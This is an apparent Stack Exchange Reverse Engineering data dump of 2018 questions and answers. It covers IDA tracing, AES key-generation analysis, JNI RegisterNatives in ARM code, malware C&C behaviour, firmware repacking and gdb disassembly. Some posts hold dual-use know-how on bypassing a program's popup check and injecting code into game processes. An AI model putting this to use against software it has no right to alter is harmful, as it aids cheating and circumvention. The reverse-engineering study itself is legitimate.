  <row Id="19037" PostTypeId="1" CreationDate="2018-08-11T18:55:32.653" Score="3" ViewCount="6206" Body="&lt;p&gt;I want to monitor specific process with &lt;a href=&quot;http://www.rohitab.com/apimonitor&quot; rel=&quot;nofollow noreferrer&quot;&gt;API Monitor&lt;/a&gt; but I didn't understand how do I do it please.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will happy to understand that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, can I monitor process while I debugging it with ida?&lt;/p&gt;&#xA;" OwnerUserId="23993" LastEditorUserId="161" LastEditDate="2018-11-11T17:50:11.013" LastActivityDate="2018-11-11T17:54:33.967" Title="How to use API monitor on specific process" Tags="|debugging|process|api|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19039" PostTypeId="1" AcceptedAnswerId="19040" CreationDate="2018-08-11T19:04:35.817" Score="1" ViewCount="489" Body="&lt;p&gt;I am following this tutorial: &#xA;&lt;a href=&quot;https://legend.octopuslabs.io/archives/1093/1093.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;enter link description here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though it uses Olly I am following with IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically i am tying to catch where a popup decision is taking place in the program.&#xA;I though i placed a BP on the right spot.&#xA;What I don't understand is this:&#xA;When I placed only one BP on this location:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/pG6bQ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pG6bQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;and I run the debugger, it stops on this BP. I press F8 and it continues to &quot;push esi&quot;, F8 and I get the pop up message I was looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I place another BP on this location - this one was deducted from the tutorial which uses Olly.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/h1PkH.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/h1PkH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;And i follow the same debugging procedure; I press F8 and it continues to &quot;push esi&quot;, F8 and It stoops on the new BP @0043F812 and only after pressing F8 again i get the popup after it calls &quot;DialogBoxParamA&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is why do I not get to DialogBoxParamA @43F818 when i obly place 1 BP? How can i jump from &quot;DispatchMessageA&quot; which is an external all to @43F818 ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll try to visualize this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VxQmA.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VxQmA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should not I be able to follow the same trace regardless on the number of BPs? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below are the 2 trace logs.&#xA;1 - trace log with only 1 BP, this one is very &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Thread  Address Instruction Result&#xA;00002378    .text:sub_442C44+2D4    Memory layout changed: 505 segments Memory layout changed: 505 segments&#xA;00002378            ST0=FFFFFFFFFFFFFFFF ST1=FFFFFFFFFFFFFFFF ST2=FFFFFFFFFFFFFFFF ST3=FFFFFFFFFFFFFFFF ST4=FFFFFFFFFFFFFFFF ST5=FFFFFFFFFFFFFFFF ST6=FFFFFFFFFFFFFFFF ST7=FFFFFFFFFFFFFFFF CTRL=FFFF CS=0023 DS=002B ES=002B FS=0053 GS=002B SS=002B EAX=00000000 EBX=00000000 ECX=741B2E09 EDX=00000000 ESI=0018E6C0 EDI=00000000 EBP=00000000 ESP=0018E6BC EFL=00200246 XMM0= XMM1= XMM2= XMM3= XMM4= XMM5= XMM6= XMM7= MXCSR=FFFFFFFF MM0= MM1= MM2= MM3= &#xA;00002378    .text:sub_442C44+2D4    call    TranslateMessage; Call Procedure    ECX=0018E6C0 EDX=0000000F ESP=0018E6C0 EFL=00200244 &#xA;00002378    .text:sub_442C44+2D9    Memory layout changed: 522 segments Memory layout changed: 522 segments&#xA;00002378    .text:sub_442C44+2D9    push    esi; lpMsg  ESP=0018E6BC EFL=00200246 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;************* 2nd TRACE with 2 BP ****************&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Thread  Address Instruction Result&#xA;00002280    .text:sub_442C44+2D4    Memory layout changed: 505 segments Memory layout changed: 505 segments&#xA;00002280            ST0=FFFFFFFFFFFFFFFF ST1=FFFFFFFFFFFFFFFF ST2=FFFFFFFFFFFFFFFF ST3=FFFFFFFFFFFFFFFF ST4=FFFFFFFFFFFFFFFF ST5=FFFFFFFFFFFFFFFF ST6=FFFFFFFFFFFFFFFF ST7=FFFFFFFFFFFFFFFF CTRL=FFFF CS=0023 DS=002B ES=002B FS=0053 GS=002B SS=002B EAX=00000000 EBX=00000000 ECX=741B2E09 EDX=00000000 ESI=0018E6C0 EDI=00000000 EBP=00000000 ESP=0018E6BC EFL=00200246 XMM0= XMM1= XMM2= XMM3= XMM4= XMM5= XMM6= XMM7= MXCSR=FFFFFFFF MM0= MM1= MM2= MM3= &#xA;00002280    .text:sub_442C44+2D4    call    TranslateMessage; Call Procedure    ECX=0018E6C0 EDX=0000000F ESP=0018E6C0 EFL=00200244 &#xA;00002280    .text:sub_442C44+2D9    push    esi; lpMsg  ESP=0018E6BC EFL=00200246 &#xA;00002280    .text:sub_442C44+2DA    call    DispatchMessageA; Call Procedure    ESP=0018E6B8 &#xA;00002280    .text:DispatchMessageA  jmp     ds:__imp_DispatchMessageA; Indirect Near Jump   &#xA;00002280    75FC7BBB        &#xA;00002280    75FC7BBD    Memory layout changed: 522 segments Memory layout changed: 522 segments&#xA;00002280    75FC7BBD        ESP=0018E6B4 &#xA;00002280    75FC7BBE        EBP=0018E6B4 &#xA;00002280    75FC7BC0        ESP=0018E6B0 &#xA;00002280    75FC7BC2        ESP=0018E6AC &#xA;00002280    75FC7BC5        ESP=0018E6A8 &#xA;00002280    75FC76D7        ESP=0018E6A4 &#xA;00002280    75FC76D9        ESP=0018E6A0 &#xA;00002280    75FC76DE        EAX=0018E694 EBP=0018E6A4 ESP=0018E66C EFL=00200280 PF=0 ZF=0 SF=1 &#xA;00002280    75FC76E3        EFL=00200246 PF=1 ZF=1 SF=0 &#xA;00002280    75FC76E5        &#xA;00002280    75FC76E8        &#xA;00002280    75FC76EB        &#xA;00002280    75FC76F2        &#xA;00002280    75FC76F8        ECX=00B123FC &#xA;00002280    75FC76FA        ZF=0 &#xA;00002280    75FC76FC        &#xA;00002280    75FC7702        EAX=00BB6A10 ECX=C0540000 EDX=00000000 EFL=00200200 PF=0 &#xA;00002280    75FC7707        EBX=00BB6A10 EFL=00200202 &#xA;00002280    75FC7709        &#xA;00002280    75FC770B        &#xA;00002280    75FC770D        &#xA;00002280    75FC7713        EAX=00B123FC &#xA;00002280    75FC7715        &#xA;00002280    75FC7717        EAX=00000113 &#xA;00002280    75FC771A    Memory layout changed: 527 segments Memory layout changed: 527 segments&#xA;00002280    75FC771A        CF=1 SF=1 &#xA;00002280    75FC771F        &#xA;00002280    75FC788E        CF=0 PF=1 ZF=1 SF=0 &#xA;00002280    75FC7895        &#xA;00002280    75FC789B        CF=1 AF=1 ZF=0 SF=1 &#xA;00002280    75FC78A0        &#xA;00002280    75FC78A6        PF=0 &#xA;00002280    75FC78AB        &#xA;00002280    75FC7725        EDX=00000113 &#xA;00002280    75FC7728        CF=0 PF=1 AF=0 ZF=1 SF=0 &#xA;00002280    75FC772E        &#xA;00002280    75FC792D        EAX=00000000 &#xA;00002280    75FC7930        &#xA;00002280    75FC7932        &#xA;00002280    75FC7740        EAX=00BB6A10 &#xA;00002280    75FC7742        PF=0 ZF=0 &#xA;00002280    75FC7744        &#xA;00002280    75FC774A        EDI=0018E6C8 &#xA;00002280    75FC774D        ECX=0000000A &#xA;00002280    75FC774F        &#xA;00002280    75FC7752        EAX=0043F070 &#xA;00002280    75FC7758    Memory layout changed: 527 segments Memory layout changed: 527 segments&#xA;00002280    75FC7758        &#xA;00002280    75FC775B        PF=1 ZF=1 &#xA;00002280    75FC775F        &#xA;00002280    75FC7765        PF=0 AF=1 ZF=0 &#xA;00002280    75FC7768        &#xA;00002280    75FC776E        EAX=FFFFFED3 &#xA;00002280    75FC7774        SF=1 &#xA;00002280    75FC7777        &#xA;00002280    75FC777D        EAX=00000119 &#xA;00002280    75FC7782        CF=1 PF=1 &#xA;00002280    75FC7784        &#xA;00002280    75FC778A        EAX=0000000A &#xA;00002280    75FC778E        EAX=00000001 CF=0 PF=0 AF=0 SF=0 &#xA;00002280    75FC7791        EAX=FFFFFFFE &#xA;00002280    75FC7793        EAX=00000000 PF=1 ZF=1 &#xA;00002280    75FC7796        ECX=00000000 &#xA;00002280    75FC7798        PF=0 ZF=0 &#xA;00002280    75FC779B        &#xA;00002280    75FC779E        PF=1 ZF=1 &#xA;00002280    75FC77A0        &#xA;00002280    75FC77A6        ESP=0018E668 &#xA;00002280    75FC77A8        EAX=00BB6A38 &#xA;00002280    75FC77AB        ESP=0018E664 &#xA;00002280    75FC77AC        ESP=0018E660 &#xA;00002280    75FC77AF        ESP=0018E65C &#xA;00002280    75FC77B1        ESP=0018E658 &#xA;00002280    75FC77B4        ESP=0018E654 &#xA;00002280    75FC77B6        ESP=0018E650 &#xA;00002280    75FC77B9        ESP=0018E64C &#xA;00002280    75FC77BF        EAX=000B3E35 EBX=00000113 ECX=EED71FD0 EDX=00000072 ESI=00B123FC EDI=00000000 EBP=0018E5A0 ESP=0018C1C4 PF=0 AF=1 ZF=0 &#xA;00002280    .text:sub_43F070+7A8    call    **DialogBoxParamA**; Call Procedure EAX=0018BA94 ECX=00000000 EDX=00000001 EBP=0018BFF0 ESP=00189C28 EFL=00200200 AF=0 &#xA;00002280    .text:sub_43F070:loc_43F81D Memory layout changed: 532 segments Memory layout changed: 532 segments&#xA;00002280    .text:sub_43F070:loc_43F81D cmp     byte_4A6894, 0; Compare Two Operands&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25313" LastActivityDate="2018-08-11T19:42:02.700" Title="IDA PRO does miss calls when tracing" Tags="|ida|debugging|debuggers|patch-reversing|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19040" PostTypeId="2" ParentId="19039" CreationDate="2018-08-11T19:42:02.700" Score="1" Body="&lt;p&gt;&lt;code&gt;TranslateMessage&lt;/code&gt; &amp;amp; &lt;code&gt;DispatchgMessage&lt;/code&gt; are the standard windows functions when you are dealing with WinAPI and &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/winmsg/using-messages-and-message-queues#creating_loop&quot; rel=&quot;nofollow noreferrer&quot;&gt;messages loops&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a &lt;code&gt;DispatchMessage&lt;/code&gt; is called, the message stored in &lt;code&gt;esi&lt;/code&gt; is processed by Windows and then  the message handler in the application is called and this is where you see your &lt;code&gt;DialogBoxParamA&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The windows handler is registered in one of the fields of the &lt;code&gt;WNDCLASS&lt;/code&gt; structure, namely &lt;code&gt;lpfnWndProc&lt;/code&gt;. When reversing WinAPI application the most obvious place to look for interesting code is to locate the message handler code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in summary, when you have your 2nd breakpoint in the windows handler code, when this messages is processed you end before &lt;code&gt;DialogBoxParamA&lt;/code&gt;. If you don';t have it there , messages is processed, Popup displayed, and you continue where you were before.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2018-08-11T19:42:02.700" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="19042" PostTypeId="1" CreationDate="2018-08-11T20:12:40.530" Score="1" ViewCount="607" Body="&lt;p&gt;I'm reversing a C++ program using IDA PRO to examine how the some data is stored, encrypted and decrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've managed to identify the data is encrypted with AES CBC 16 block and 256 bit key. I have tested this as I have found the generated key in the program and managed to decrypt the data using online tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I have is working out how the AES 256 bit key is generated. I have identified the code but is several hundered lines long. I &quot;think&quot; its a cut n copy of one of the hash functions from OpenSSL as I see references to that in other areas of the code but I cant be 100% sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There isn't much to go on in the code except a few magic numbers like 0x2AAAAAAB and that 3 DWORDS are pushed to the stack before the sub is called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've downloaded the OpenSSL code but cant find anything yet. I've also used tools like Detect it Easy and a Plugin for IDA, which finds some crypto signatures which I BP, but they are never hit when stepping over the keygen function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone recommend anything what can help which this ? My ASM skills are no where near good enough to Single Step several hundreds of instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I used the Hex Rays decomplier for the specific func and it churned out only a few lines of code !?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've put it on paste bin at:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://pastebin.com/y6Zu42Ux&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pastebin.com/y6Zu42Ux&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone explain what it does ? However I'm not even sure this is the correct code as no matter where I press F5 to generate the Pseudo Code, it gives me the same output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: here is the paste of the full code&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://pastebin.com/x0pjyuZD&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pastebin.com/x0pjyuZD&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23513" LastEditorUserId="23513" LastEditDate="2018-08-12T10:42:43.080" LastActivityDate="2018-08-12T10:42:43.080" Title="Trying to identify block of code which generates 256 bit key" Tags="|ida|disassembly|c++|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="19043" PostTypeId="1" AcceptedAnswerId="19056" CreationDate="2018-08-12T02:12:15.250" Score="7" ViewCount="343" Body="&lt;p&gt;Typically when I write a game-hacking executable after reversing a game, I go about code-caving to find where I can inject my code as need be. Well, while reversing a few such executables from someone else, I've noticed they choose to always inject their code at Game.exe+100. This has me wondering if it's just easier to start doing that and calling it done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, my question here is for those a bit more familiar with the PE format than I am at the moment (to be honest, my brain is swimming at the moment trying to wrap my head around the resources I've Googled up to this point):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why offset 0x100 from the module base address? &lt;strong&gt;Once a PE is mapped into memory&lt;/strong&gt;, are there documented and/or well-known offsets from the image base that are pretty much always safe to overwrite/write to? If so, which offsets might they be? From there, I'll look to understand what each of those sections represent, as well as how many bytes could be used from each offset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By all means, instead of laboring an answer, feel free to point me to the right chart or information that details the specific offsets. I'm overwhelmed with information right now and a bit confused by what all I'm looking at (like seeing the same offset number being used for various sections, etc.). Thanks!&lt;/p&gt;&#xA;" OwnerUserId="20928" LastEditorUserId="2147" LastEditDate="2018-08-27T22:54:28.207" LastActivityDate="2018-09-04T14:48:46.033" Title="Why is it &quot;safe&quot; to write to ModuleBase.exe+0x100, and possibly other header offsets after PE is mapped to memory?" Tags="|pe|offset|game-hacking|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19044" PostTypeId="1" CreationDate="2018-08-12T02:23:35.527" Score="5" ViewCount="114" Body="&lt;p&gt;I have a malware sample that I know is acting as a bot and connects to a botnet. The problem is that it uses no known protocol that I am familiar with (it's IRC-like) and doesn't actually do anything until it is issued commands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I explore behavior that can be issued to it via a C&amp;amp;C server? I was thinking of possibly using symbolic execution on the part of the program that receives commands? Static analysis would be tedious since the code is obfuscated.&lt;/p&gt;&#xA;" OwnerUserId="25316" LastEditorUserId="2147" LastEditDate="2018-08-14T21:24:37.590" LastActivityDate="2018-08-14T21:24:37.590" Title="How can you explore behavior in malware that is not being performed?" Tags="|malware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19046" PostTypeId="1" CreationDate="2018-08-12T12:06:51.327" Score="1" ViewCount="282" Body="&lt;p&gt;basically I have netis &lt;a href=&quot;http://www.netis-systems.com/Suppory/de_details/id/1/de/42.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;WF2409E&lt;/a&gt; router and i want to update it with custom image so I decided to try fmk. First I added gdbserver to usr/bin and re-packt it with fmk and upload it. After finishing uploading router did not reboot or anything after reaching 100% and it stay as is. So I tried extracting original firmware again and packing it with no changes of files and after 7% I got an error Firmware upgrade fail. So how can I detect what is magic routine for building working firmware.&lt;/p&gt;&#xA;" OwnerUserId="3810" LastActivityDate="2018-08-12T12:06:51.327" Title="Building custom image with firmware mod kit" Tags="|firmware|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19048" PostTypeId="1" CreationDate="2018-08-12T21:28:30.333" Score="-2" ViewCount="1053" Body="&lt;p&gt;So context i have a game and a encrypted save file. My thoughts were how to find the decryption key in reverse engineering my game .I watched tuts but i think this topic isnt much detailed so i need advice guys. &lt;/p&gt;&#xA;" OwnerUserId="25321" LastEditorUserId="2147" LastEditDate="2018-08-27T22:54:21.653" LastActivityDate="2018-08-27T22:54:21.653" Title="How do i find the decryption key for a encrypted text file" Tags="|encryption|decryption|cheat-engine|game-hacking|" AnswerCount="1" CommentCount="1" ClosedDate="2018-08-13T08:22:30.663" ContentLicense="CC BY-SA 4.0" />
  <row Id="19049" PostTypeId="2" ParentId="19048" CreationDate="2018-08-13T01:53:45.400" Score="1" Body="&lt;p&gt;&lt;em&gt;I voted to close this question because it is, unfortunately, too broad to properly answer.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One has to gain some knowledge and experience in the reverse engineering world before one can tackle some of the real-world scenarios. you may want to start with learning assembly and doing a few crackmes, which are designed to improve one's reverse engineering skills.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, you could use this Stack Exchange site to ask &lt;em&gt;specific&lt;/em&gt; questions about difficulties and challenges encountered. Alternatively, you can edit this question or post a new one with what you've done so far and what prevents you advancing forward.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="24904" LastEditDate="2018-08-13T13:48:51.870" LastActivityDate="2018-08-13T13:48:51.870" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19050" PostTypeId="2" ParentId="19024" CreationDate="2018-08-13T08:21:57.520" Score="1" Body="&lt;p&gt;&lt;code&gt;RegisterNatives&lt;/code&gt; is not a function that you find in the binary you're analyzing. It is implemented in the system Java runtime and is called indirectly by a pointer. The &lt;code&gt;JNI_OnLoad&lt;/code&gt; function has the folliwing prototype (from &lt;code&gt;jni.h&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM* vm, void* reserved);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;vm&lt;/code&gt; is a pointer to a function table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA; * JNI invocation interface.&#xA; */&#xA;struct JNIInvokeInterface {&#xA;    void*       reserved0;&#xA;    void*       reserved1;&#xA;    void*       reserved2;&#xA;&#xA;    jint        (*DestroyJavaVM)(JavaVM*);&#xA;    jint        (*AttachCurrentThread)(JavaVM*, JNIEnv**, void*);&#xA;    jint        (*DetachCurrentThread)(JavaVM*);&#xA;    jint        (*GetEnv)(JavaVM*, void**, jint);&#xA;    jint        (*AttachCurrentThreadAsDaemon)(JavaVM*, JNIEnv**, void*);&#xA;};&#xA;typedef const struct JNIInvokeInterface* JavaVM;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, &lt;code&gt;RegisterNatives&lt;/code&gt; itself is a method in another function table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct JNINativeInterface {&#xA;    void*       reserved0;&#xA;    void*       reserved1;&#xA;    void*       reserved2;&#xA;    void*       reserved3;&#xA;&#xA;    jint        (*GetVersion)(JNIEnv *);&#xA;&#xA;    jclass      (*DefineClass)(JNIEnv*, const char*, jobject, const jbyte*,&#xA;                        jsize);&#xA;    jclass      (*FindClass)(JNIEnv*, const char*);&#xA;&#xA;   /*&amp;lt;skipped&amp;gt; */&#xA;&#xA;    jint        (*RegisterNatives)(JNIEnv*, jclass, const JNINativeMethod*,&#xA;                        jint);&#xA;    jint        (*UnregisterNatives)(JNIEnv*, jclass);&#xA;&#xA;   /*&amp;lt;skipped&amp;gt; */&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The typical way of calling &lt;code&gt;RegisterNatives&lt;/code&gt; from &lt;code&gt;JNI_OnLoad&lt;/code&gt; would be to retrieve a pointer to a &lt;code&gt;JNIEnv&lt;/code&gt; by calling &lt;code&gt;vm-&amp;gt;GetEnv()&lt;/code&gt;, then calling the &lt;code&gt;RegisterNatives&lt;/code&gt; pointer in the &lt;code&gt;JNIEnv&lt;/code&gt; struct, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(*vm)-&gt;GetEnv(vm, (void **)&amp;amp;env, 0x10004);&#xA;  class = (*env)-&gt;FindClass(env, &quot;org/gaeproxy/Exec&quot;);&#xA;  (*env_)-&gt;RegisterNatives(env, class, &amp;amp;methods, 4);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where &lt;code&gt;methods&lt;/code&gt; is an array of &lt;code&gt;JNINativeMethod&lt;/code&gt; structs describing names, prototypes, and pointers to native implementations of the methods.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JNINativeMethod methods[] =&#xA;{&#xA;  {&#xA;    &quot;createSubprocess&quot;,&#xA;    &quot;(ILjava/lang/String;[Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;[I)Ljava/io/FileDescriptor;&quot;,&#xA;    (void*)&amp;amp;Exec_createSubprocess&#xA;  },&#xA;  { &quot;waitFor&quot;, &quot;(I)I&quot;, (void *)&amp;amp;Exec_waitFor },&#xA;  { &quot;close&quot;, &quot;(Ljava/io/FileDescriptor;)V&quot;, (void *)&amp;amp;Exec_close },&#xA;  { &quot;hangupProcessGroup&quot;, &quot;(I)V&quot;, (void *)&amp;amp;Exec_hangupProcessGroup }&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is no sure-fire indicator that immediately point out this call in disassembly, but here are some hints for ARM 32-bit:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;the call is indirect, i.e. usually a &lt;code&gt;BLX rN&lt;/code&gt;, where &lt;code&gt;rN&lt;/code&gt; is loaded from a pointer with offset.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;one of the arguments to the call (third, so loaded in &lt;code&gt;R2&lt;/code&gt;) is the method table which may look obvious (pointers to method names and prototypes).Note that especially in malware strings may be obfuscated, so don't expect to always see this in cleartext, but it should be visible at runtime/debug time.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;offset of the &lt;code&gt;RegisterNatives&lt;/code&gt; pointer in the &lt;code&gt;JNIEnv&lt;/code&gt; struct is fixed. for ARM EABI it is &lt;code&gt;0x35C&lt;/code&gt;, so if you see this constant it's a pretty solid hint. However, once again this constant may be obfuscated and not visible in initial code.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For example, here is the call site of the above snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; LDR     R0, [R5] ; &amp;lt;- dereferencing env from a previous GetEnv call&#xA; LDR     R2, =(methods - 0x15AC)&#xA; MOVS    R3, #0x35C ; &amp;lt;- offset 0x35C&#xA; LDR     R4, [R0,R3] ; load RegisterNatives pointer&#xA; ADD     R2, PC          ; methods&#xA; MOVS    R0, R5 ; env&#xA; MOVS    R3, #4 ; number of methods&#xA; BLX     R4       ;&amp;lt;- call&#xA; CMP     R0, #0 ; check return value&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2018-08-13T16:15:45.940" LastActivityDate="2018-08-13T16:15:45.940" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="19051" PostTypeId="2" ParentId="19044" CreationDate="2018-08-13T08:34:50.547" Score="2" Body="&lt;p&gt;I would recommend to use a Debugger like x32dbg and change the parameters on the fly to trigger the behaviour you are looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally you could use a service like INetSim to make it respond to the queries of your malware sample.&lt;/p&gt;&#xA;" OwnerUserId="25078" LastActivityDate="2018-08-13T08:34:50.547" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19052" PostTypeId="2" ParentId="17960" CreationDate="2018-08-13T12:42:31.370" Score="2" Body="&lt;p&gt;If you just want a quick and dirty raw disassembly of a short snippet, you can load the relevant part of the exe using gdb's &lt;a href=&quot;https://sourceware.org/gdb/onlinedocs/gdb/Dump_002fRestore-Files.html#Dump_002fRestore-Files&quot; rel=&quot;nofollow noreferrer&quot;&gt;restore&lt;/a&gt; command.  It is easier to first, extract the snippet, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tail -c +4096 the-program-with-the-snippet.exe | head -c 1024 &amp;gt; snippet&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, you need to start debugging a dummy program and replace its main function with the snippet you want to disassemble.  For example::&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~/tmp$ gdb -q dummy&#xA;Reading symbols from dummy...done.&#xA;(gdb) break main&#xA;Breakpoint 1 at 0x79f: file dummy.c, line 9.&#xA;(gdb) run&#xA;Starting program: /home/ale/tmp/dummy &#xA;&#xA;Breakpoint 1, main (argc=1, argv=0x7fffffffe2b8) at dummy.c:9&#xA;9       for (int i = 1; i &amp;lt; argc; ++i)&#xA;(gdb) restore snippet binary main&#xA;Restoring binary file snippet into memory (0x555555554790 to 0x555555554b90)&#xA;(gdb) disass&#xA;Dump of assembler code for function main:&#xA;   0x0000555555554790 &amp;lt;+0&amp;gt;:     add    %bh,-0x35(%rdi)&#xA;   0x0000555555554793 &amp;lt;+3&amp;gt;:     movabs 0xa1cba872a376f272,%eax&#xA;   0x000055555555479c &amp;lt;+12&amp;gt;:    jb     0x555555554806 &amp;lt;main+118&amp;gt;&#xA;   0x000055555555479e &amp;lt;+14&amp;gt;:    cmp    0x72a270b7(%rdx,%rsi,2),%esp&#xA;   0x00005555555547a5 &amp;lt;+21&amp;gt;:    loopne 0x5555555547c2 &amp;lt;main+50&amp;gt;&#xA;   0x00005555555547a7 &amp;lt;+23&amp;gt;:    movabs 0xa1cd0572a12b0f72,%eax&#xA;   0x00005555555547b0 &amp;lt;+32&amp;gt;:    jb     0x5555555547c2 &amp;lt;main+50&amp;gt;&#xA;   0x00005555555547b2 &amp;lt;+34&amp;gt;:    pop    %rsi&#xA;   0x00005555555547b3 &amp;lt;+35&amp;gt;:    movabs %eax,0xa1d13272a1cd3a72&#xA;   0x00005555555547bc &amp;lt;+44&amp;gt;:    jb     0x5555555547b5 &amp;lt;main+37&amp;gt;&#xA;   0x00005555555547be &amp;lt;+46&amp;gt;:    loopne 0x555555554760 &amp;lt;frame_dummy&amp;gt;&#xA;   0x00005555555547c0 &amp;lt;+48&amp;gt;:    jb     0x5555555547a6 &amp;lt;main+22&amp;gt;&#xA;   0x00005555555547c2 &amp;lt;+50&amp;gt;:    iret   &#xA;...&#xA;---Type &amp;lt;return&amp;gt; to continue, or q &amp;lt;return&amp;gt; to quit---&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, any format information (symbols and the like) is lost.&lt;/p&gt;&#xA;" OwnerUserId="25326" LastActivityDate="2018-08-13T12:42:31.370" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
